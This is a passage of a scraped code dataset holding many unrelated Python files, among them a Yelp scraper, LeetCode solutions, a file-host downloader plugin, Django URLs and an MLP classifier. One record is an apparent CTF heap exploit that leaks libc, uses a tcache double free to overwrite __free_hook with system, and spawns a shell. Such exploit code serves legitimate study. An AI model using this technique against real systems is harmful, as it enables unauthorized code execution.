pick)\r\npick.close()\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"RaghidHabli/Job-Candidate-Predictor","sub_path":"yearsKNN.py","file_name":"yearsKNN.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38815067517","text":"#!/usr/bin/env python\nimport json\nimport os\nimport sys\nimport time\n\nimport requests\n\n\nTOKEN = os.environ['TOKEN']\n\nMAX_LIMIT = 50\nMAX_OFFSET = 1000\nSORT_ORDERS = ['best_match', 'rating', 'review_count', 'distance']\n\nsearch_term = sys.argv[1]\n\noffsets = [i for i in range(0, MAX_OFFSET - MAX_LIMIT + 1, MAX_LIMIT)]\n\nheaders = {\n 'Authorization': 'Bearer {}'.format(TOKEN),\n}\n\ndefaults = {\n 'location': 'Philadelphia, PA',\n 'categories': search_term,\n 'radius': 40000,\n 'limit': MAX_LIMIT,\n}\n\nresults = {}\n\nfor sort_by in SORT_ORDERS:\n for offset in offsets:\n payload = {}\n payload.update(defaults)\n payload.update({\n 'offset': offset,\n 'sort_by': sort_by,\n })\n\n res = requests.get('https://api.yelp.com/v3/businesses/search', params=payload, headers=headers)\n items = res.json()['businesses']\n\n sys.stderr.write('{}, {}, {}\\n'.format(sort_by, offset, len(items)))\n\n if not items:\n break\n\n for item in items:\n id = item['id']\n results[id] = item\n\n time.sleep(0.2)\n\njson.dump(results, sys.stdout)\n","repo_name":"kdeloach/yelp-map","sub_path":"collect.py","file_name":"collect.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"70270812200","text":"from nchain.loaders.sitemap_loader import SitemapLoader\n\n# Sample paths and URLs for testing purposes\nSAMPLE_SITEMAP_URL = 'https://blog.bayjarvis.com/sitemap.xml'\n\ndef test_sitemap_loader():\n loader = SitemapLoader()\n content = loader.load_data(SAMPLE_SITEMAP_URL)\n assert isinstance(content, str)\n assert ' int:\n vows = ('a', 'e', 'i','o','u')\n n = len(word)\n res = 0 \n for ind, ch in enumerate(word):\n chOccurrance = 0\n if ch in vows:\n chOccurrance = (n-ind)*(ind+1)\n res+=chOccurrance\n return res\n\n","repo_name":"Segnicho/A2SV_community_path","sub_path":"vowels-of-all-substrings.py","file_name":"vowels-of-all-substrings.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19338232734","text":"import sys\ninput=sys.stdin.readline\n\nN=int(input())\nsx,sy,ex,ey=map(int,input().split())\nans=float('inf'); ans_=0\nfor i in range(N):\n sx_=sx;sy_=sy;ex_=ex;ey_=ey\n n=int(input())\n SUM=0\n for _ in range(n):\n x,y=map(int,input().split())\n SUM+=abs(x-sx_)+abs(y-sy_)\n sx_=x; sy_=y\n SUM+=abs(ex-sx_)+abs(ey-sy_)\n if SUM \", command)\n\ndef add_book(connection, index, title, page): \n send_command(connection, b\"1\")\n connection.sendlineafter(b\": \", str(index).encode()) \n connection.sendlineafter(b\": \", title) \n connection.sendlineafter(b\": \", str(page).encode()) \n\ndef read_book(connection, index): \n send_command(connection, b\"2\") \n connection.sendlineafter(b\": \", str(index).encode()) \n return (connection.recvline().split()[-1].strip(), connection.recvline().split()[-1].strip()) \n\ndef remove_book(connection, index): \n send_command(connection, b\"3\") \n connection.sendlineafter(b\": \", str(index).encode()) \n\ndef execute_shell(connection, elf, libc):\n leak = eval(read_book(connection, -4)[1]) \n log.info(\"Leak: \" + hex(leak))\n libc.address = leak - libc.sym._IO_2_1_stdout_ - 131\n log.info(\"Libc: \" + hex(libc.address))\n\n for i in range(7): \n add_book(connection, i, b\"A\" * 0x10, 0x69) \n add_book(connection, 7, b\"A\" * 0x10, 0x69) \n for i in range(7): \n remove_book(connection, i) \n remove_book(connection, 7)\n for i in range(7): \n add_book(connection, i, b\"A\" * 0x10, 0x69) \n remove_book(connection, 7)\n add_book(connection, 8, p64(libc.sym.__free_hook - 0x10), 0x69) \n add_book(connection, 9, b\"/bin/sh\\0\", 0x69) \n add_book(connection, 10, p64(libc.sym.system), 0x69) \n remove_book(connection, 9)\n connection.interactive()\n\nif __name__ == \"__main__\":\n connection, elf, libc = establish_connection()\n execute_shell(connection, elf, libc)\n","repo_name":"SyahrulApr86/Exploit-CTF99","sub_path":"double-free/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32442070083","text":"#\n# @lc app=leetcode.cn id=2 lang=python3\n#\n# [2] 两数相加\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# 20200119 v2\n# 采用把连个数字给拆出来的方法来做, 通过看leetcode讨论, 在C++中会出现long long这种数据类型都会溢出的情况, 然后看到python(In Python, value of an integer is not restricted by the number of bits and can expand to the limit of the available memory) 原因所以不会溢出.\n#\n# 在v1的基础上, 采用string来进行数字的转换\n#\n# 1563/1563 cases passed (80 ms)\n# Your runtime beats 51.35 % of python3 submissions\n# Your memory usage beats 59.62 % of python3 submissions (13.1 MB)\n\nclass Solution:\n def parse_num(self, input_list: ListNode) -> int:\n # parse the digital nums\n dig_items = ''\n while input_list != None:\n dig_items = str(input_list.val) + dig_items\n input_list = input_list.next\n\n return int(dig_items)\n\n def code_num(self, real_number):\n dig_items = str(real_number)\n\n result = ListNode(dig_items[-1])\n current = result\n\n for i in range(len(dig_items) - 1, 0, -1):\n current.next = ListNode(dig_items[i - 1])\n current = current.next\n\n return result\n\n def addTwoNumbers(self, l1: ListNode, l2: ListNode) -> ListNode:\n sum = self.parse_num(l1) + self.parse_num(l2)\n return self.code_num(sum)\n\n# @lc code=end\n","repo_name":"zhubeilife/leetcode","sub_path":"2.两数相加_20200129_v2.py","file_name":"2.两数相加_20200129_v2.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13758376494","text":"__author__ = 'JHou'\n\nimport pandas as pd\nfrom pandas import DataFrame\nfrom math import sqrt\nimport matplotlib.pyplot as plot\nimport sys\n\ntarget_url = (\"https://archive.ics.uci.edu/ml/machine-learning-databases/undocumented/connectionist-bench/sonar/sonar.all-data\")\n\n#read rocks versus mines data into pandas data frame\nrocksVMines = pd.read_csv(target_url, header=None, prefix=\"V\")\n\n#calculate correlations between real-valued attribute\ndataRows2 = rocksVMines.iloc[1, 0:60]\ndataRows3 = rocksVMines.iloc[2, 0:60]\ndataRows21 = rocksVMines.iloc[20, 0:60]\n\nmean2 = 0.0; mean3 = 0.0; mean21 = 0.0\nnumElt = len(dataRows2)\nfor i in range(numElt):\n mean2 += dataRows2[i]/numElt\n mean3 += dataRows3[i]/numElt\n mean21 += dataRows21[i]/numElt\n\n\nvar2 = 0.0; var3 = 0.0; var21 = 0.0\nfor i in range(numElt):\n var2 += (dataRows2[i] - mean2) * (dataRows2[i] - mean2)/numElt\n var3 += (dataRows3[i] - mean3) * (dataRows3[i] - mean3)/numElt\n var21 += (dataRows21[i] - mean21) * (dataRows21[i] - mean21)/numElt\n\ncorr23 = 0.0; corr221 = 0.0\nfor i in range(numElt):\n corr23 += (dataRows2[i] - mean2) * (dataRows3[i] - mean3) / (sqrt(var2*var3)*numElt)\n corr221 += (dataRows2[i] - mean2) * (dataRows21[i] - mean21) / (sqrt(var2*var21)*numElt)\n\nsys.stdout.write(\"Correlation between attribue 2 and 3 \\n\")\nprint(corr23)\nsys.stdout.write(\" \\n\")\n\nsys.stdout.write(\"Correlation between attribue 2 and 321 \\n\")\nprint(corr221)\nsys.stdout.write(\" \\n\")\n\n#calculate correlations between real-values atrributes\ncorMat = DataFrame(rocksVMines.corr())\n\n#visualize correlations using heatmap\nplot.pcolor(corMat)\nplot.show()","repo_name":"claire0701/python_MashineLearning_Trainingcode","sub_path":"RocksVMines/PearsonsCorrelationCoefficient.py","file_name":"PearsonsCorrelationCoefficient.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37323903601","text":"import csv\r\nfrom os import read\r\nimport click\r\nfrom csv import writer\r\nfrom datetime import date, datetime\r\nfrom tabulate import tabulate\r\n\r\n\r\n\r\ndef get_table():\r\n # Opens the file and loop through the values seperated by coma\r\n with open(\"customerdata.csv\",'r') as f:\r\n rowReader = csv.reader(f, delimiter=',')\r\n table = [] # Table for 'tabulate' to make better design\r\n for values in rowReader:\r\n column = (\r\n values[0],\r\n values[1],\r\n values[2] \r\n + '-'\r\n + values[3] \r\n + '-'\r\n + values[4],\r\n values[5],\r\n values[6])\r\n table.append(column)\r\n return table\r\n\r\n\r\nclass sirap:\r\n\r\n def print_table(Sort):\r\n table = get_table()\r\n # Sorting by date \r\n if Sort == True:\r\n table = sorted(table, key=lambda x: x[2])\r\n \r\n print(tabulate(table, headers=[\r\n 'Company',\r\n 'Name',\r\n 'Date',\r\n 'Amount',\r\n 'Card'],\r\n tablefmt='github'))\r\n \r\n def avg_time():\r\n table = get_table()\r\n dates = [] \r\n for item in table:\r\n split = item[2].split(\"-\")\r\n dt = datetime(int(split[0]),int(split[1]),int(split[2]))\r\n dates.append(dt)\r\n \r\n avgTime=datetime.strftime(datetime.fromtimestamp(sum(map(datetime.timestamp,dates))/len(dates)),\"%d\")\r\n print(\"The average time between bills is\", avgTime, \"days\")\r\n\r\n def avg_spent_date():\r\n table = get_table()\r\n dates = [] \r\n for item in table:\r\n dates.append(item[2])\r\n\r\n print(\"Format [YYYY-MM-DD]\")\r\n start_date = \"\"\r\n end_date = \"\"\r\n \r\n # Cheking the datetime is correct format\r\n try:\r\n start_date =datetime.strptime(input(\"From: \"), '%Y-%m-%d')\r\n end_date = datetime.strptime(input(\"To: \"), '%Y-%m-%d')\r\n except ValueError:\r\n # Failed\r\n print(\"Please use date format [YYYY-MM-DD]\")\r\n return\r\n\r\n \r\n dt_dates = [datetime.strptime(date, '%Y-%m-%d') for date in dates]\r\n in_between_dates = []\r\n for d in dt_dates:\r\n if d >= start_date and d <= end_date:\r\n in_between_dates.append(d)\r\n\r\n beetween_dt = [d.strftime('%Y-%m-%d') for d in in_between_dates]\r\n total_amount = []\r\n for item in table:\r\n if item[2] in beetween_dt:\r\n total_amount.append(float(item[3]))\r\n if len(total_amount) != 0:\r\n value = sum(total_amount) / len(total_amount) \r\n else:\r\n value = 0 \r\n print(\"The average spent from\", start_date.date(), \"to\", end_date.date(), \"is\", value)\r\n\r\n\r\n def total_bills():\r\n file = open(\"customerdata.csv\")\r\n reader = csv.reader(file)\r\n lines= len(list(reader))\r\n print(\"The total number of bills is:\", lines)\r\n \r\n def cnvrt_csv_to_txt():\r\n \r\n print(\"[1] CSV To Text file [2] Text to CSV file\" )\r\n answer = input(\":\")\r\n if answer == \"1\":\r\n\r\n read_file = r'customerdata.csv'\r\n write_file = input(\"Filename (wihtout .txt) :\") + \".txt\"\r\n elif answer == \"2\":\r\n read_file = input(\"Filename (wihtout .txt) :\") + \".txt\"\r\n write_file = r'customerdata.csv'\r\n else:\r\n print(\"Invalid input\")\r\n return\r\n\r\n try:\r\n with open(read_file, 'r') as inp, open(write_file, 'w') as out:\r\n for line in inp:\r\n out.write(line)\r\n print(\"Converted\", read_file, \"to\", write_file) \r\n except IOError:\r\n print(\"File does not exist\") \r\n def add_bill():\r\n print(\"Please provide following information\")\r\n \r\n Colums = ['Company','Name', 'Date[YYYY-MM-DD]', 'Amount', 'Card']\r\n Data = []\r\n for colum in Colums:\r\n Data.append(input((colum + \": \")))\r\n\r\n # Cheking that date is correct format\r\n date_string = Data[2]\r\n y = date_string.split(\"-\")[0]\r\n m = date_string.split(\"-\")[1]\r\n d = date_string.split(\"-\")[2]\r\n try:\r\n datetime(int(y), int(m), int(d))\r\n except ValueError:\r\n # Failed\r\n print(\"Please use date format [YYYY-MM-DD]\")\r\n return\r\n \r\n # Converting Date format to seperat colums\r\n DateItem = Data[2].split(\"-\")\r\n Data.pop(2)\r\n # Will loop through 3 values(year,month,day) and \r\n # insert them the same order as the table colum\r\n for item in DateItem:\r\n Data.insert(len(Data) - 2, item)\r\n\r\n # Cheking that 'name' not contains\r\n # more than 1 Spaces\r\n name = Data[1]\r\n count = 0\r\n for n in name:\r\n if n.isspace() == True:\r\n count+=1\r\n if count > 1: \r\n print(\"Please do only use one surname and lastname\")\r\n return\r\n \r\n print(Data)\r\n if click.confirm('Add new to file?', default=True):\r\n with open('customerdata.csv', 'a+', newline='') as write_obj:\r\n # Create a writer object from csv module\r\n csv_writer = writer(write_obj)\r\n # Add contents of list as last row in the csv file\r\n #csv_writer.writerow(\"\")\r\n csv_writer.writerow(Data)\r\n print(\"Successfully added your data\")\r\n\r\n def print_menu():\r\n print(\"Billing manager v1.0\") \r\n print(\"\"\"\r\n[0] Convert \r\n[1] Print table\r\n[2] Add bill\r\n[3] Sort table by Date\r\n[4] Stastics\r\n[5] Highest amount\r\n[6] Most common company\r\n[7] Average time between bills\r\n[8] Total number of bills\r\n[9] The average spent beetween two time periods\r\n[10] Exit\r\nPlease, select a function\r\n \"\"\")\r\n \r\n def highest_amount():\r\n table = get_table()\r\n Credit = []\r\n Debit = []\r\n\r\n for item in table:\r\n if item[4] == \"credit\":\r\n Credit.append(float(item[3]))\r\n elif item[4] == \"debit\":\r\n Debit.append(float(item[3])) \r\n print(\"Your heighest credit bil was:\", max(Credit), \"and the heighest debit was:\", max(Debit)) \r\n \r\n\r\n def most_common_company():\r\n \r\n table = get_table()\r\n Companys = []\r\n \r\n for item in table:\r\n Companys.append(item[0])\r\n\r\n print('The most common company is:', max(Companys)) \r\n\r\n def printStatics():\r\n \r\n table = get_table()\r\n years = [] # Getting the total amount of distinct year\r\n\r\n for item in table:\r\n years.append(item[2].split(\"-\")[0])\r\n \r\n # Removeing all non-unique years\r\n distinct_years = set(years)\r\n # Creating a list with the relevent date\r\n st = []\r\n \r\n for item in distinct_years:\r\n arg = {'Year' : item, 'Credit': 0, 'Debit': 0}\r\n st.append(arg)\r\n\r\n for item in table:\r\n year = item[2].split(\"-\")[0]\r\n Amount = float(item[3])\r\n if item[4] == \"credit\":\r\n index = st.index(next(filter(lambda n: n.get('Year') == year, st)))\r\n newAmout = float(st[index]['Credit']) + Amount\r\n st[index]['Credit'] = newAmout\r\n\r\n elif item[4] == \"debit\":\r\n index = st.index(next(filter(lambda n: n.get('Year') == year, st)))\r\n newAmout = float(st[index]['Debit']) + Amount\r\n st[index]['Debit'] = newAmout\r\n \r\n # Order by date\r\n st = sorted(st, key = lambda i: i['Year'])\r\n \r\n # Printing a table\r\n header = st[0].keys()\r\n rows = [x.values() for x in st]\r\n print (tabulate(rows, header, tablefmt='github'))","repo_name":"S1rap/Assignment","sub_path":"Assignment/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":8088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19534508582","text":"import pygame\n\npygame.init()\n\nscreen_width = 480\nscreen_height = 640\nscreen = pygame.display.set_mode((screen_width, screen_height))\n\npygame.display.set_caption(\"pygame Practice\")\n\nbackground = pygame.image.load(\"C:/Users/User/Desktop/Python Lang/workspace/pygame_Practice/background.png\")\n\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT: \n running = False\n\n screen.blit(background, (0, 0))\n\n pygame.display.update()\n\npygame.quit()","repo_name":"YorMChannel/pygame_Practice","sub_path":"2_background.py","file_name":"2_background.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"19248989366","text":"import mysql.connector\nfrom flask import Flask, Response\n\nyhteys = mysql.connector.connect(\n host='127.0.0.1',\n port=3306,\n database='flight_game',\n user='root',\n password='henna',\n autocommit=True\n)\n\napp = Flask(__name__)\n\n\n@app.route('/kentta/')\ndef tiedot(ident):\n sql = \"SELECT ident, name, municipality FROM airport WHERE ident = '\" + ident + \"'\"\n kursori = yhteys.cursor()\n kursori.execute(sql)\n tulos = kursori.fetchone()\n print(tulos)\n\n json = {\n \"ICAO\": tulos[0],\n \"Name\": tulos[2],\n \"Municipality\": tulos[1]\n }\n return json\n\n\nif __name__ == '__main__':\n app.run(use_reloader=True, host='127.0.0.1', port=3000)","repo_name":"hennauu/Ohjelmisto-2","sub_path":"Python-modules/Mod13/Task13_2.py","file_name":"Task13_2.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16945604161","text":"# multilayer_perceptron.py: Machine learning implementation of a Multilayer Perceptron classifier from scratch.\r\n#\r\n# Submitted by: [enter your full name here] -- [enter your IU username here]\r\n#\r\n# Based on skeleton code by CSCI-B 551 Fall 2021 Course Staff\r\n\r\nfrom ctypes import LittleEndianStructure\r\nfrom typing import Literal, final\r\nimport numpy as np\r\nfrom utils import identity, sigmoid, tanh, relu, softmax, cross_entropy, one_hot_encoding\r\n\r\n\r\nclass MultilayerPerceptron:\r\n \"\"\"\r\n A class representing the machine learning implementation of a Multilayer Perceptron classifier from scratch.\r\n\r\n Attributes:\r\n n_hidden\r\n An integer representing the number of neurons in the one hidden layer of the neural network.\r\n\r\n hidden_activation\r\n A string representing the activation function of the hidden layer. The possible options are\r\n {'identity', 'sigmoid', 'tanh', 'relu'}.\r\n\r\n n_iterations\r\n An integer representing the number of gradient descent iterations performed by the fit(X, y) method.\r\n\r\n learning_rate\r\n A float representing the learning rate used when updating neural network weights during gradient descent.\r\n\r\n _output_activation\r\n An attribute representing the activation function of the output layer. This is set to the softmax function\r\n defined in utils.py.\r\n\r\n _loss_function\r\n An attribute representing the loss function used to compute the loss for each iteration. This is set to the\r\n cross_entropy function defined in utils.py.\r\n\r\n _loss_history\r\n A Python list of floats representing the history of the loss function for every 20 iterations that the\r\n algorithm runs for. The first index of the list is the loss function computed at iteration 0, the second\r\n index is the loss function computed at iteration 20, and so on and so forth. Once all the iterations are\r\n complete, the _loss_history list should have length n_iterations / 20.\r\n\r\n _X\r\n A numpy array of shape (n_samples, n_features) representing the input data used when fitting the model. This\r\n is set in the _initialize(X, y) method.\r\n\r\n _y\r\n A numpy array of shape (n_samples, n_outputs) representing the one-hot encoded target class values for the\r\n input data used when fitting the model.\r\n\r\n _h_weights\r\n A numpy array of shape (n_features, n_hidden) representing the weights applied between the input layer\r\n features and the hidden layer neurons.\r\n\r\n _h_bias\r\n A numpy array of shape (1, n_hidden) representing the weights applied between the input layer bias term\r\n and the hidden layer neurons.\r\n\r\n _o_weights\r\n A numpy array of shape (n_hidden, n_outputs) representing the weights applied between the hidden layer\r\n neurons and the output layer neurons.\r\n\r\n _o_bias\r\n A numpy array of shape (1, n_outputs) representing the weights applied between the hidden layer bias term\r\n neuron and the output layer neurons.\r\n\r\n Methods:\r\n _initialize(X, y)\r\n Function called at the beginning of fit(X, y) that performs one-hot encoding for the target class values and\r\n initializes the neural network weights (_h_weights, _h_bias, _o_weights, and _o_bias).\r\n\r\n fit(X, y)\r\n Fits the model to the provided data matrix X and targets y.\r\n\r\n predict(X)\r\n Predicts class target values for the given test data matrix X using the fitted classifier model.\r\n \"\"\"\r\n\r\n def __init__(self, n_hidden = 16, hidden_activation = 'sigmoid', n_iterations = 1000, learning_rate = 0.01):\r\n # Create a dictionary linking the hidden_activation strings to the functions defined in utils.py\r\n activation_functions = {'identity': identity, 'sigmoid': sigmoid, 'tanh': tanh, 'relu': relu}\r\n\r\n # Check if the provided arguments are valid\r\n if not isinstance(n_hidden, int) \\\r\n or hidden_activation not in activation_functions \\\r\n or not isinstance(n_iterations, int) \\\r\n or not isinstance(learning_rate, float):\r\n raise ValueError('The provided class parameter arguments are not recognized.')\r\n\r\n # print(\":::::Activation func:::\", hidden_activation)\r\n # Define and setup the attributes for the MultilayerPerceptron model object\r\n self.n_hidden = n_hidden\r\n self.hidden_activation = activation_functions[hidden_activation]\r\n self.n_iterations = n_iterations\r\n self.learning_rate = learning_rate\r\n self._output_activation = softmax\r\n self._loss_function = cross_entropy\r\n self._loss_history = []\r\n self._X = None\r\n self._y = None\r\n self._h_weights = None\r\n self._h_bias = None\r\n self._o_weights = None\r\n self._o_bias = None\r\n \r\n self._number_of_output_node = None \r\n self._hidden_node_values = None\r\n self._hidden_node_after_activation = None\r\n self._output_node_values = None\r\n self._output_node_after_activation = None\r\n\r\n def _initialize(self, X, y):\r\n \"\"\"\r\n Function called at the beginning of fit(X, y) that performs one hot encoding for the target class values and\r\n initializes the neural network weights (_h_weights, _h_bias, _o_weights, and _o_bias).\r\n\r\n Args:\r\n X: A numpy array of shape (n_samples, n_features) representing the input data.\r\n y: A numpy array of shape (n_samples,) representing the true class values for each sample in the input data.\r\n\r\n Returns:\r\n None.\r\n \"\"\"\r\n \r\n\r\n self._X = X\r\n self._y = one_hot_encoding(y)\r\n\r\n self._number_of_output_node = len(self._y[0])\r\n \r\n \r\n n = len(self._X[0])\r\n \r\n # initialize weights\r\n input = n\r\n out = self.n_hidden\r\n \r\n limit = np.sqrt(2 / float(input + out))\r\n self._h_weights = np.random.normal(0.0, limit, size=(input, out))\r\n \r\n input = self.n_hidden\r\n out = self._number_of_output_node\r\n limit = np.sqrt(2 / float(input + out))\r\n self._o_weights = np.random.normal(0.0, limit, size=(input, out))\r\n \r\n \r\n # initialize bias\r\n self._h_bias = np.ones(self.n_hidden, dtype = int)\r\n self._o_bias = np.ones(self._number_of_output_node, dtype = int)\r\n \r\n np.random.seed(42)\r\n\r\n # raise NotImplementedError('This function must be implemented by the student.')\r\n\r\n def fit(self, X, y):\r\n \"\"\"\r\n Fits the model to the provided data matrix X and targets y and stores the cross-entropy loss every 20\r\n iterations.\r\n\r\n Args:\r\n X: A numpy array of shape (n_samples, n_features) representing the input data.\r\n y: A numpy array of shape (n_samples,) representing the true class values for each sample in the input data.\r\n\r\n Returns:\r\n None.\r\n \"\"\"\r\n self._initialize(X, y)\r\n store_crossentropy = []\r\n \r\n\r\n for i in range(self.n_iterations):\r\n\r\n \r\n # Forward\r\n self._hidden_node_values = np.dot(X, self._h_weights) + self._h_bias\r\n \r\n self._hidden_node_after_activation = self.hidden_activation(self._hidden_node_values)\r\n \r\n \r\n self._output_node_values = np.dot(self._hidden_node_after_activation,self._o_weights) + self._o_bias\r\n self._output_node_after_activation = self._output_activation(self._output_node_values) \r\n \r\n \r\n \r\n \r\n # Backtrack\r\n error = self._output_node_after_activation - self._y\r\n \r\n \r\n output_delta = error * self._output_activation(self._output_node_values, derivative=True)\r\n \r\n h_delta = np.dot(output_delta, self._o_weights.T) * self.hidden_activation(self._hidden_node_values, derivative=True)\r\n \r\n self._o_weights = self._o_weights - self.learning_rate * np.dot(self._hidden_node_after_activation.T, output_delta)\r\n self._h_weights = self._h_weights - self.learning_rate * np.dot(X.T, h_delta)\r\n \r\n \r\n self._o_bias = self._o_bias - self.learning_rate * np.sum(output_delta, axis=0)\r\n self._h_bias = self._h_bias - self.learning_rate * np.sum(h_delta, axis=0)\r\n \r\n \r\n #store crossentropy every 20 steps.\r\n if i%20 == 0:\r\n store_crossentropy.append(cross_entropy(self._y, self._output_node_values))\r\n \r\n \r\n\r\n # raise NotImplementedError('This function must be implemented by the student.')\r\n\r\n def predict(self, X):\r\n \"\"\"\r\n Predicts class target values for the given test data matrix X using the fitted classifier model.\r\n\r\n Args:\r\n X: A numpy array of shape (n_samples, n_features) representing the test data.\r\n\r\n Returns:\r\n A numpy array of shape (n_samples,) representing the predicted target class values for the given test data.\r\n \"\"\"\r\n \r\n \r\n \r\n self._hidden_node_values = np.dot(X, self._h_weights) + self._h_bias \r\n self._hidden_node_after_activation = self.hidden_activation(self._hidden_node_values)\r\n \r\n \r\n self._output_node_values = np.dot(self._hidden_node_after_activation,self._o_weights) + self._o_bias\r\n self._output_node_after_activation = self._output_activation(self._output_node_values) \r\n \r\n \r\n \r\n # get a list of final output for every test data\r\n final_output = []\r\n for i in range(len(self._output_node_values)):\r\n final_output.append(np.argmax(self._output_node_after_activation[i]))\r\n \r\n \r\n return final_output\r\n\r\n # raise NotImplementedError('This function must be implemented by the student.')","repo_name":"krutikoza/knn_mlp","sub_path":"multilayer_perceptron.py","file_name":"multilayer_perceptron.py","file_ext":"py","file_size_in_byte":10311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28959440231","text":"# -*- coding: utf-8 -*-\n\nimport re\nimport urllib.parse\n\nimport pycurl\n\nfrom ..anticaptchas.HCaptcha import HCaptcha\nfrom ..anticaptchas.ReCaptcha import ReCaptcha\nfrom ..base.xfs_downloader import XFSDownloader\nfrom ..helpers import parse_html_tag_attr_value\n\n\nclass FilefoxCc(XFSDownloader):\n __name__ = \"FilefoxCc\"\n __type__ = \"downloader\"\n __version__ = \"0.02\"\n __status__ = \"testing\"\n\n __pattern__ = r\"https?://(?:www\\.)?filefox\\.cc/(?P\\w{12})\"\n __config__ = [\n (\"enabled\", \"bool\", \"Activated\", True),\n (\"use_premium\", \"bool\", \"Use premium account if available\", True),\n (\"fallback\", \"bool\", \"Fallback to free download if premium fails\", True),\n (\"chk_filesize\", \"bool\", \"Check file size\", True),\n (\"max_wait\", \"int\", \"Reconnect if waiting time is greater than minutes\", 10),\n ]\n\n __description__ = \"\"\"Filefox.cc downloader plugin\"\"\"\n __license__ = \"GPLv3\"\n __authors__ = [(\"GammaC0de\", \"nitzo2001[AT]yahoo[DOT]com\")]\n\n PLUGIN_DOMAIN = \"filefox.cc\"\n\n DL_LIMIT_PATTERN = r\"Wait [\\w ]+? or (\\d+)<'\n\n INFO_PATTERN = (\n r'

(?P.+?)

\\s*

(?P[\\d.,]+) (?P[\\w^_]+)

'\n )\n NAME_PATTERN = r\"^unmatchable$\"\n SIZE_REPLACEMENTS = [(\"Kb\", \"KB\"), (\"Mb\", \"MB\"), (\"Gb\", \"GB\")]\n\n LINK_PATTERN = r'
[\\@\\.\\w-]+)/$', views.about_us, name=\"about_us\"),\n url(r'^help/problem/(?P[\\@\\.\\w-]+)/(?P[\\@\\.\\w-]+)/$', views.help_problem, name=\"help_problem\"),\n url(r'^contact_info$', views.contact_info, name=\"contact_info\"),\n url(r'^accounts/', include('accounts.urls', namespace='accounts')),\n url(r'^accounts/', include('accounts.auth_urls')),\n url(r'^profiles/', include('profiles.urls', namespace='profiles')),\n url(r'^cities/', include('cities.urls', namespace='cities')),\n url(r'^redactor/', include('redactor.urls')),\n url(r'^grappelli/', include('grappelli.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url('^inbox/notifications/', include(notifications.urls, namespace='notifications')),\n\n url(r'^i18n/', include('django.conf.urls.i18n')),\n # url(r'^jsi18n/$', javascript_catalog, js_info_dict),\n)\n\nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"danielliude/reismann_pub","sub_path":"reismann/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"21953283952","text":"import torch\nimport numpy as np\nfrom numpy import linalg as la\n\n\ndef np_nearestPD(A):\n \"\"\"Find the nearest positive-definite matrix to input\n A Python/Numpy port of John D'Errico's `nearestSPD` MATLAB code [1], which\n credits [2].\n [1] https://www.mathworks.com/matlabcentral/fileexchange/42885-nearestspd\n [2] N.J. Higham, \"Computing a nearest symmetric positive semidefinite\n matrix\" (1988): https://doi.org/10.1016/0024-3795(88)90223-6\n \"\"\"\n\n B = (A + A.T) / 2\n _, s, V = la.svd(B)\n\n H = np.dot(V.T, np.dot(np.diag(s), V))\n\n A2 = (B + H) / 2\n\n A3 = (A2 + A2.T) / 2\n\n if isPD(A3):\n return A3\n\n spacing = np.spacing(la.norm(A))\n # The above is different from [1]. It appears that MATLAB's `chol` Cholesky\n # decomposition will accept matrixes with exactly 0-eigenvalue, whereas\n # Numpy's will not. So where [1] uses `eps(mineig)` (where `eps` is Matlab\n # for `np.spacing`), we use the above definition. CAVEAT: our `spacing`\n # will be much larger than [1]'s `eps(mineig)`, since `mineig` is usually on\n # the order of 1e-16, and `eps(1e-16)` is on the order of 1e-34, whereas\n # `spacing` will, for Gaussian random matrixes of small dimension, be on\n # othe order of 1e-16. In practice, both ways converge, as the unit test\n # below suggests.\n I = np.eye(A.shape[0])\n k = 1\n while not np_isPD(A3):\n evals = la.eigvals(A3)\n real_evals = np.real(evals)\n mineig = np.min(real_evals)\n A3 += I * (-mineig * k**2 + spacing)\n k += 1\n\n return A3\n\n\ndef np_isPD(B):\n \"\"\"Returns true when input is positive-definite, via Cholesky\"\"\"\n try:\n _ = la.cholesky(B)\n return True\n except la.LinAlgError:\n return False\n\n\ndef isPD(A):\n try:\n torch.cholesky(A)\n return True\n except Exception:\n return False\n\n\ndef nearestPD(A):\n \"\"\" dont use this it doesn't work\"\"\"\n B = A + A.T / 2\n u, s, v = torch.svd(B)\n H = torch.matmul(v.T, torch.matmul(s.diag_embed(), v))\n A2 = (B + H) / 2\n A3 = (A2 + A2.t()) / 2\n if isPD(A3):\n return A3\n\n spacing = torch.finfo(A3.dtype).eps\n I = torch.eye(A.size(0), device=A.device)\n k = 1\n while not isPD(A3):\n val, vecs = A3.eig()\n mineig = val[0].min()\n A3 += I * (-mineig * k ** 2 + spacing)\n k += 1\n\n return A3\n\n\ndef nearestPDHack(c):\n 